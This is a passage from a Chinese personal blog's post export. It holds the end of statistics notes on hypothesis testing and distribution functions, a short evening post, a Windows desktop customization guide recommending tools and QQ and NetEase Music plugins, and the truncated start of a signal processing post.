(\\mu_{\\frac{\\alpha}{2}},\\infty)$\u003cbr/\u003e\n$W=(-\\infty,-t_{\\frac{\\alpha}{2}}(n-1))\\cup (t_{\\frac{\\alpha}{2}}(n-1),\\infty)$ \u003c/li\u003e\n\u003cli\u003e若根据 $\\bar{X}$ 计算所得枢轴量在 $W$ 内,假设 $H_0$ 不成立。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3\u003e$\\sigma^2$ 检验\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nS=\\sqrt{S^2}=\\sqrt{\\frac{1}{n-1}\\sum^{n}_{i=1}(x_i-\\bar{X})}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e提出假设 $H_0:\\sigma^2=\\sigma_0^2,H_1:\\sigma^2 \\ne \\sigma_0^2$ \u003c/li\u003e\n\u003cli\u003e选择检验统计量\u003cbr/\u003e\n$\\frac{(n-1)S^2}{\\sigma^2}\\sim \\chi^2(n-1)$ ,为$\\chi^2$ 检验\u003c/li\u003e\n\u003cli\u003e求得拒绝域\u003cbr/\u003e\n$W=(0,\\chi^2_{1-\\frac{\\alpha}{2}}(n-1)) \\cup (\\chi^2_{\\frac{\\alpha}{2}}(n-1),\\infty)$ \u003c/li\u003e\n\u003cli\u003e若根据 $S$ 计算所得枢轴量在 $W$ 内,假设 $H_0$ 不成立。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2\u003e补充\u003c/h2\u003e\n\u003ch3\u003e分布函数\u003c/h3\u003e\n\u003cp\u003e对于连续型随机变量,分布函数连续。\u003cbr/\u003e\n对于离散型随机变量,由于不同教材对分布函数定义不同,有左连续或右连续情况。\u003c/p\u003e\n\u003ch4\u003e左连续\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(x)=P(X\u0026lt;x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n在此定义下\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x)=F(x^-)=F(x-0)=P(X\u0026lt;x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x^+)=F(x+0)=P(X\u0026lt;x)+P(X=x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n当 $P(X=x)\\ne 0$ 时,显然 $F(x^+)\u0026gt;F(x)=F(x^-)$ ,此时分布函数左连续而右不连续。\u003c/p\u003e\n\u003ch4\u003e右连续\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(x)=P(X \\le x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n在此定义下\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x)=F(x^+)=F(x+0)=P(X \\le x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x^-)=F(x-0)=P(X \\le x)-P(X=x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n当 $P(X=x)\\ne 0$ 时,显然 $F(x^+)=F(x)\u0026gt;F(x^-)$ ,此时分布函数右连续而左不连续。\u003c/p\u003e\n\u003ch4\u003e抛硬币举例\u003c/h4\u003e\n\u003cp\u003e抛一次硬币,正面计 1,反面计 0 。\u003cbr/\u003e\nX 是一维离散型随机变量\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nP(x=0)=0.5\\\\\u003cbr/\u003e\nP(x=1)=0.5\\\\\u003cbr/\u003e\nP(x=others)=0\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n由此得\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nP(x\u0026lt;0)=0\\\\\u003cbr/\u003e\nP(0 \\le x \u0026lt; 1)=0.5\\\\\u003cbr/\u003e\nP(x \\ge 1)=1\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n当设分布函数为 $F(x)=P(X\u0026lt;x)$ 时,\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n0, \u0026amp; x \\le 0\\\\\u003cbr/\u003e\n0.5, \u0026amp; 0 \u0026lt; x \\le 1\\\\\u003cbr/\u003e\n1, \u0026amp; x\u0026gt;1\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$F(0^-)=F(0)=0$,$F(0^+)=0.5$,$x=0$ 是间断点,左连续而右不连续。\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/Probability-and-Statistics.html"},{"title":"凭栏静听潇潇雨,故国人民有所思。","time":"2024-09-09T09:54:00Z","content":"“我有一个梦,也许有一天,灿烂的阳光能照进黑暗森林。”这时,这里的太阳却在落下去,现在只在远山露出顶端的一点,像山顶上镶嵌着的一块光灿灿的宝石。孩子已经跑远,同草地一起沐浴在金色的晚霞之中。太阳...\u003chr /\u003e\u003cp\u003e“我有一个梦,也许有一天,灿烂的阳光能照进黑暗森林。”\u003cbr/\u003e\n这时,这里的太阳却在落下去,现在只在远山露出顶端的一点,像山顶上镶嵌着的一块光灿灿的宝石。孩子已经跑远,同草地一起沐浴在金色的晚霞之中。\u003cbr/\u003e\n太阳快落下去了,你们的孩子居然不害怕?\u003cbr/\u003e\n“当然不害怕,她知道明天太阳还会升起来的。”\u003c/p\u003e\n\u003cp\u003e晚安。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/2683784600.jpg\" alt=\"毛1.JPG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/Remembering-Chairman-Mao.html"},{"title":"Windows美化历程","time":"2024-09-07T13:12:00Z","content":"前言俗话说的好,美化的尽头是默认。虽然默认的 Windows 已经能高效地胜任各项工作,但它确实 ugly 啊。在拥有一台性能过剩 PC 的情况下,适度追求美化和简化,满足本私斋的高端审美是极有...\u003chr /\u003e\u003ch2\u003e前言\u003c/h2\u003e\n\u003cp\u003e俗话说的好,\u003cstrong\u003e美化的尽头是默认\u003c/strong\u003e。\u003cbr/\u003e\n虽然默认的 Windows 已经能高效地胜任各项工作,但它确实 ugly 啊。\u003cbr/\u003e\n在拥有一台性能过剩 PC 的情况下,适度追求美化和简化,满足本私斋的\u003cdel\u003e高端审美\u003c/del\u003e是极有必要的()\u003c/p\u003e\n\u003cp\u003e下面来说说我在用/用过的美化软件/方案。\u003c/p\u003e\n\u003ch2\u003e当前桌面方案\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eTranslucentTB:任务栏透明/亚克力效果\u003c/li\u003e\n\u003cli\u003eSapphire:桌面图标交互优化\u003c/li\u003e\n\u003cli\u003eWallpaper Engine:为减少 GPU 消耗和内存占用,只选了 Blue Archive 中 Noa 的记忆大厅作为壁纸,几秒的 4 K 视频,整个 Wallpaper 内存占用约 100 Mb。\u003c/li\u003e\n\u003cli\u003eRainmeter:只用了一个音频条作为美化,因为 Noa 已经够美了😋\u003cbr/\u003e\n原来用过查看硬件信息的组件,发现除了增加焦虑外没什么用,遂放弃。\u003c/li\u003e\n\u003cli\u003eQQ 美化、网易云音乐美化、光标美化、Obsidian 主题、插件安排上。再加上 Edge 浏览器的 iTab 标签页和各类实用插件,目前的工作流完全舒适。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e贴几张图\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/4189283242.png\" alt=\"桌面展示1.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/1078908045.png\" alt=\"桌面展示2.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/2569059367.png\" alt=\"QQ美化展示.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/2176031375.png\" alt=\"Edge展示.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/994680139.png\" alt=\"Obsidian展示.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/130206377.png\" alt=\"任务管理器展示.png\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n在以上正常工作流下,内存占大头的是浏览器,GPU 消耗主要来自 wallpaper,从登录到完全自启动耗时 10s 内,均在可接受负载范围内。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e配置:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e12400 F\u003c/li\u003e\n\u003cli\u003e7700 XT\u003c/li\u003e\n\u003cli\u003e32G DDR4\u003c/li\u003e\n\u003cli\u003e2K 180Hz HDR显示器\u003c/li\u003e\n\u003cli\u003eWindows 11 专业版 23H2\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eQQ 美化\u003c/h2\u003e\n\u003cp\u003e==特别推荐!==\u003cbr/\u003e\nQQ 是大部分中国人不得不用又恨之入骨的东西——广告、弹窗、不想看的娱乐页面、花里胡哨功能性差的界面。\u003cbr/\u003e\nWindows 端自从推出 QQ 9,上述情况改善了不少,然而恶心人的东西最近逐渐加回来了,只能说本性难移。\u003cbr/\u003e\n为了不被迫在这个常用软件上天天吃屎,伟大的具有开源精神和折腾精神的中文互联网人纷纷投入 QQ 改造计划,而今天我要介绍的就是其中一个伟大项目——\u003cstrong\u003eLiteLoaderQQNT\u003c/strong\u003e。\u003cbr/\u003e\n好了说正事,liteloader 是 QQNT 的插件平台,安装后可以下载众多插件。\u003cbr/\u003e\nGitHub 项目地址:\u003ca href=\"https://github.com/LiteLoaderQQNT/LiteLoaderQQNT\"\u003eLiteLoaderQQNT: QQNT 插件加载器:轻量 · 简洁 · 开源 · 福瑞\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e部分推荐插件如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xinyihl/LiteLoaderQQNT-PluginInstaller/tree/main\"\u003ePluginInstaller\u003c/a\u003e:LiteLoaderQQNT 插件安装器,可检查更新和一键安装/重启。先安装这个再安装其他插件省事很多。\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ltxhhz/LL-plugin-list-viewer/tree/main\"\u003eLL-plugin-list-viewer\u003c/a\u003e: LiteLoaderQQNT Plugin 插件列表查看·安装·更新。收录了大部分插件,可直达 GitHub 项目地址。安装功能存在问题,部分插件需要手动安装和更新,否则会报错无法启动 QQ,建议作为插件/主题查看器。\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xiyuesaves/LiteLoaderQQNT-lite_tools/tree/v4\"\u003e轻量工具箱 —— 轻量 · 优雅 · 高效 · 福瑞\u003c/a\u003e:聚合了大量功能的工具箱,免于四处寻找插件。部分可选功能如下:\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e美化聊天界面\u003c/strong\u003e实现类 tg 效果(显示头像,加时间戳,消息靠左等)\u003c/li\u003e\n\u003cli\u003e移除称号、VIP 、推荐标签等乱七八糟的东西。\u003c/li\u003e\n\u003cli\u003e右键快捷搜索文字/图片,消息转图片发送\u003c/li\u003e\n\u003cli\u003e选项高亮,特殊消息高亮\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e小程序分享转 URL 卡片\u003c/strong\u003e,记录离开时位置,快捷+1(复读机)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e消息预览\u003c/strong\u003e:根据消息中第一个链接生成一张类 tg 的预览卡片\u003c/li\u003e\n\u003cli\u003e本地表情\u003c/li\u003e\n\u003cli\u003e消息后缀\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e撤回消息缓存并高亮\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e设置背景\u003c/strong\u003e,调整亮度、透明度,可加磨砂等效果\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e精简侧边栏\u003c/strong\u003e,所有功能可开关\u003c/li\u003e\n\u003cli\u003e输入框、消息框功能开关\u003c/li\u003e\n\u003cli\u003e……\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xh321/LiteLoaderQQNT-QR-Decode/tree/master\"\u003e二维码解析\u003c/a\u003e:对 QQNT 聊天中的图片进行二维码解析\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xh321/LiteLoaderQQNT-Directly-Jump/tree/master\"\u003e使用自定义浏览器打开链接并跳过拦截页\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MUKAPP/LiteLoaderQQNT-DeepL/tree/main\"\u003e将 DeepL 翻译接入你的 QQNT\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/d0j1a1701/LiteLoaderQQNT-Markdown/tree/v4\"\u003eMarkdown\u003c/a\u003e:为 QQ 添加 Markdown 渲染支持。发出的消息只有安装了该插件的 QQNT 能渲染 markdown,所以大部分情况下没用。\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xh321/LiteLoaderQQNT-Kill-Update/tree/master\"\u003eKill-Update\u003c/a\u003e:关闭 QQ自动更新弹窗,有些插件不会第一时间支持最新版 QQ,所以禁止更新是有用的。\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mo-jinran/window-on-top/tree/v4\"\u003ewindow-on-top\u003c/a\u003e:让窗口有置顶功能\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e还有一些主题我没有介绍,因为去除垃圾之后部分美化的 QQNT 已经很好看了。\u003cbr/\u003e\n另外 ChatGPT 等 AI 接入插件也有,懒得折腾 API(\u003cdel\u003e没钱\u003c/del\u003e)。\u003c/p\u003e\n\u003ch2\u003e网易云音乐美化\u003c/h2\u003e\n\u003cp\u003e==特别推荐!==\u003cbr/\u003e\n众所周知,国内几大音乐平台巨头都在走复杂化、流量化路线,今天加一个社区,明天加一个短视频,长期 VIP 跳脸。\u003cbr/\u003e\n作为听音乐的软件,有几项基本功能就够了。国内外都有很多做得好的音乐播放器,但“播放器”和“音乐平台”之间还是有很多差距的。比如便捷搜索歌曲,查看评论,一起听等。建立歌单、关注歌手、充值购买等沉没成本也迫使用户继续吃屎。\u003cbr/\u003e\n我一直用的网易云音乐有一群伟大的互联网人做了插件,美化后确实美观好用。\u003cbr/\u003e\n首先是插件平台 \u003cstrong\u003ebetterncm\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e官网:\u003ca href=\"https://microblock.cc/betterncm\"\u003eMicroBlock | BetterNCM\u003c/a\u003e \u003c/li\u003e\n\u003cli\u003eGitHub 项目地址:\u003ca href=\"https://github.com/MicroCBer/BetterNCM\"\u003eGitHub - MicroCBer/BetterNCM: NCM 软件插件管理器\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e社区:\u003ca href=\"https://v2e2npdz15.feishu.cn/docx/UZkSd9d46o4fVOxaPNBcGXSenme\"\u003e关于 BetterNCM 最全面的介绍以及疑难解答 - 飞书云文档\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e优点是安装 betterncm 后,所有的主题、插件可以从网易云内平台下载、更新,不用一个个去查找翻 GitHub。\u003cbr/\u003e\n\u003cstrong\u003e推荐主题:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eMateria You:比较简洁的主题,纯色背景没有背景图片。配色方案多样。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/1596889912.png\" alt=\"Matreia You.png\" loading=\"lazy\"/\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e推荐插件:\u003c/strong\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eRoundCornerNCM:网易云音乐窗口圆角,仅 Windows 11。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMikuPlugin:管理各元素是否显示,可以关闭恼人的视频、直播等元素。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/439024086.png\" alt=\"MikuPlugin.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e类苹果歌词:将歌曲页面改为类 Apple Music 的样式,还可更改歌词源。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/663279809.png\" alt=\"类苹果歌词.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这首歌的封面是什么?:歌曲列表添加封面,增加储存占用,易造成卡顿\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/1807448404.png\" alt=\"这首歌的封面是什么?.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRuLyrics:桌面歌词插件,支持逐词,主副歌词,更改字体,分别更改前景色(已唱)、背景色(未唱),支持嵌入任务栏(与 TranslucentTB 同时使用似乎有点问题)\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/285235071.png\" alt=\"桌面歌词.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e更多好用插件自行探索下载\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e部分插件对其他插件有依赖、冲突,注意在 GitHub Issues 查看甄别。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2\u003eWallpaper Engine\u003c/h2\u003e\n\u003cp\u003e==必备好物!==\u003cbr/\u003e\n鼎鼎大名的万能小红车,开启××√享受崭新人生(bushi)\u003cbr/\u003e\n作为最常用最好用的壁纸软件,wallpaper 有许多优点:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e资源丰富。steam 创意工坊每时每刻都有大量优质壁纸上架,且几乎全部免费下载使用。\u003c/li\u003e\n\u003cli\u003e资源种类多。视频、图片、动图、网页……壁纸种类极多,且不少壁纸功能丰富,聚合了音乐歌词、特效、频谱等功能,一键装点桌面。\u003c/li\u003e\n\u003cli\u003e找资源方便。Wallpaper 搜索和筛选规则完善丰富,可筛选壁纸分辨率、类型、适用年龄等。\u003c/li\u003e\n\u003cli\u003e使用简便。基于 steam 创意工坊,能访问 steam 就能下载壁纸,无需翻墙,下载速度有保障。大部分壁纸,即使功能复杂,在 wallpaper 界面也能轻松设置。\u003c/li\u003e\n\u003cli\u003e串联手机。Wallpaper 推出了安卓应用,可通过 PC 向手机传输使用壁纸。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eWarning\u003c/strong\u003e:部分复杂特效网页、高清视频壁纸较为消耗 GPU 性能,占显存较多。可以在 wallpaper 设置里调整帧率、特效和应用行为等改善。\u003c/p\u003e\n\u003cp\u003e唯一的缺点是在 steam 购买 wallpaper 需要 19 RMB,不过这价格真不高吧。\u003c/p\u003e\n\u003cp\u003eSteam:\u003ca href=\"https://store.steampowered.com/app/431960/Wallpaper_Engine/\"\u003eSteam 上的 Wallpaper Engine:壁纸引擎\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eTranslucentTB\u003c/h2\u003e\n\u003cp\u003e==特别推荐!==\u003cbr/\u003e\n任务栏透明工具,可以全透、亚克力、不透,换主题色等。\u003cbr/\u003e\n占用内存、储存极小,几乎不消耗 CPU 性能。\u003c/p\u003e\n\u003cp\u003eGitHub 项目地址:\u003ca href=\"https://github.com/TranslucentTB/TranslucentTB\"\u003eGitHub - TranslucentTB\u003c/a\u003e\u003cbr/\u003e\nGitHub 中文翻译项目地址:\u003ca href=\"https://github.com/kasuganosoras/TranslucentTB-CN\"\u003eGitHub - kasuganosoras/TranslucentTB-CN\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eRainmeter\u003c/h2\u003e\n\u003cp\u003e==特别推荐!==\u003cbr/\u003e\n久负盛名的桌面组件工具,可以自制功能多样的\u003cstrong\u003e小部件\u003c/strong\u003e放在桌面,也可以方便地导入他人制作的部件(即皮肤)。\u003cbr/\u003e\n常见的功能有:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e显示 CPU、GPU、内存等硬件信息(实时更新)\u003c/li\u003e\n\u003cli\u003e音频识别生成各式各样的律动频谱条\u003c/li\u003e\n\u003cli\u003e媒体播放器\u003c/li\u003e\n\u003cli\u003e一键追番、查看新番\u003c/li\u003e\n\u003cli\u003e放置图片、轮播图库等\u003c/li\u003e\n\u003cli\u003e……\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e缺点\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e组件放多了会卡\u003c/li\u003e\n\u003cli\u003e部分组件资源消耗大\u003c/li\u003e\n\u003cli\u003e选择太多了需要折腾\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e官网:\u003ca href=\"https://www.rainmeter.net/\"\u003eRainmeter\u003c/a\u003e\u003cbr/\u003e\n中国官网:\u003ca href=\"https://rainmeter.cn/\"\u003e个人分享 Rainmeter\u003c/a\u003e\u003cbr/\u003e\nGitHub 项目地址:\u003ca href=\"https://github.com/rainmeter/rainmeter\"\u003eGitHub - rainmeter\u003c/a\u003e\u003cbr/\u003e\n中国社区:\u003ca href=\"https://bbs.rainmeter.cn/\"\u003e雨滴美化社区\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eStart 11\u003c/h2\u003e\n\u003cp\u003e任务栏及开始菜单美化工具\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e可以将开始菜单改为 Windows 7-11 的风格,可改变颜色、透明度、间距、对齐方式等。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e高级索引功能\u003c/strong\u003e:与 Edge 浏览器配对时,打开的选项卡也会显示在搜索内容中,最常用的内容在结果中的显示位置会更高。\u003cstrong\u003e移除本地搜索结果旁边显示的 Web 内容的选项!\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e更改开始按钮图标,开始菜单背景图,任务栏颜色、纹理。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e缺点\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e付费\u003c/li\u003e\n\u003cli\u003e我用起来有卡顿、启动慢等现象。\u003c/li\u003e\n\u003cli\u003e和 TranslucentTB 不兼容。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e官网终身版售价 35 RMB,小贵,30 天免费试用。有许多代理,存在学习版(不推荐)。\u003c/p\u003e\n\u003cp\u003e官网:\u003ca href=\"https://stardock-start11.com/\"\u003eStart11\u003c/a\u003e\u003cbr/\u003e\n中国官网: \u003ca href=\"https://www.start11.cn/\"\u003eStart 11\u003c/a\u003e\u003cbr/\u003e\nSteam(褒贬不一):\u003ca href=\"https://store.steampowered.com/app/1694750/Start11_v2/\"\u003eSteam 上的 Start11 v2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e枫の美化工具箱\u003c/h2\u003e\n\u003cp\u003e文件资源管理器、开始菜单、全局窗口美化工具\u003cbr/\u003e\n目前拥有的功能: \u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e主页面:自定义文件资源管理器窗口字体、局部颜色模式 Light、Dark (实验性局部Dark模式存在小的视觉bug) \u003c/li\u003e\n\u003cli\u003e背景设置:自定义文件资源管理器、开始菜单、系统设置的\u003cstrong\u003e背景图片\u003c/strong\u003e \u003c/li\u003e\n\u003cli\u003e颜色设置:自定义文件资源管理器配色(标题、组、页眉、详细信息、硬盘进度条)、圆角化硬盘进度条 \u003c/li\u003e\n\u003cli\u003e图标设置:自定义桌面、文件资源管理器图标组图标 \u003c/li\u003e\n\u003cli\u003e窗口设置:自定义文件资源管理器窗口\u003cstrong\u003e背景效果\u003c/strong\u003e半透明、Blur、Acrylic、Mica效果 win11圆角类型、开始菜单、系统设置Acrylic背景效果 \u003c/li\u003e\n\u003cli\u003e控件样式:自定义全局窗口\u003cstrong\u003e标题栏按钮样式\u003c/strong\u003e、macOS样式按钮、文件资源管理器Tab标签页、\u003cstrong\u003e工具栏\u003c/strong\u003e、地址栏配色、自绘圆角滚动条 \u003c/li\u003e\n\u003cli\u003e预设列表:保存、导入、分享你的配置文件 \u003c/li\u003e\n\u003cli\u003e插件列表:安装插件增强和扩展工具箱的功能\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eEvaluations:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e还算是简单易用,内存和 GPU 占用尚可接受。\u003c/li\u003e\n\u003cli\u003e可装插件和导入配置文件,有一定可玩性。\u003c/li\u003e\n\u003cli\u003e不兼容 TranslucentTB\u003c/li\u003e\n\u003cli\u003e我用起来文件资源管理器常崩溃、不显示背景图片、工具栏配色未更改,可能已经优化稳定了。\u003c/li\u003e\n\u003cli\u003e背景图片清晰度不高,在 dark 模式下背景图片容易干扰正常阅读文件信息\u003c/li\u003e\n\u003cli\u003e软件免费,不完全开源,需要注册登录账号。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e发布地址:\u003ca href=\"https://winmoes.com/tools/12948.html\"\u003ewin美化工具箱 ★ 枫の主题社\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eSapphire\u003c/h2\u003e\n\u003cp\u003e==特别推荐!==\u003cbr/\u003e\n桌面图标、布局美化,\u003cstrong\u003e更改交互体验\u003c/strong\u003e。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e可调整桌面图标布局,更改横纵网格数\u003c/li\u003e\n\u003cli\u003e放置格子(类手机上的文件夹),将桌面各类文件直接放进文件夹,分类同一管理\u003c/li\u003e\n\u003cli\u003e调整图标、格子大小(网格数整数倍),圆角,背景,透明度\u003c/li\u003e\n\u003cli\u003e更改文件名的字体\u003c/li\u003e\n\u003cli\u003e精简模式去除文件名,可每个图标单独设置\u003c/li\u003e\n\u003cli\u003e可设置交互动效\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDock 栏\u003c/strong\u003e,类 Mac/手机下方的 dock,可竖置,改变长宽、背景色\u003c/li\u003e\n\u003cli\u003e开启文件夹高级交互后可以文件夹鼠标悬停预览内容,单击原地展开,不必开文件资源管理器窗口。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e针对 steam 内应用的快捷方式优化\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e双击隐藏图标\u003c/strong\u003e,每个可单独设置是否隐藏。\u003c/li\u003e\n\u003cli\u003e后台内存占用 100 mb 左右,尚可接受。几乎不消耗 GPU\u003c/li\u003e\n\u003cli\u003e可自定义图片、动图作为壁纸。初步兼容 WallpaperEngine(需在设置中设置当其他程序成为焦点时为始终运行)。\u003c/li\u003e\n\u003cli\u003e多屏支持\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e缺点:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e我的电脑开启高级文件交互后,只要文件夹内文件数稍多,sapphire 会直接卡死。观望作者更新。\u003c/li\u003e\n\u003cli\u003e暂时还没有保存桌面布局的功能,好在即使卡退也会记录最新布局。\u003c/li\u003e\n\u003cli\u003e只保证兼容 Windows 11\u003c/li\u003e\n\u003cli\u003e更改桌面右键交互但目前还不能自定义\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eGitHub 项目地址:\u003ca href=\"https://github.com/hymnly133/Sapphire-EnhancedDesktop\"\u003eSapphire-EnhancedDesktop: Windows桌面取代软件\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e光标美化\u003c/h2\u003e\n\u003cp\u003e网上有很多分享光标美化文件的,根据个人喜好挑选。安装也不难。\u003cbr/\u003e\n分享两款,不影响视野同时具有个性化设计的:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e原神纳西妲光标:\u003ca href=\"https://www.bilibili.com/video/BV14P411c7ap/\"\u003e纳西妲同款鼠标光标4.0版来咯_原神\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e蔚蓝档案千年光标,简约可爱,在用。\u003cbr/\u003e\nGitHub项目地址:\u003ca href=\"https://github.com/makipom/BlueArchive-Cursors\"\u003eBlueArchive-Cursors\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n","url":"https://guzhengsvt.top/index.php/archives/Windows-Beautification-History.html"},{"title":"数字信号处理(持续更新)","time":"2024-09-04T15:44:00Z","content":"数字信号处理基本概念信号分类连续信号:即模拟信号,时域连续信号。时域离散信号:幅度取值连续,时间取值离散。幅度离散信号:幅度取值离散,时间取值连续。数字信号:幅度和时间都取离散值。区别时域离散信...\u003chr 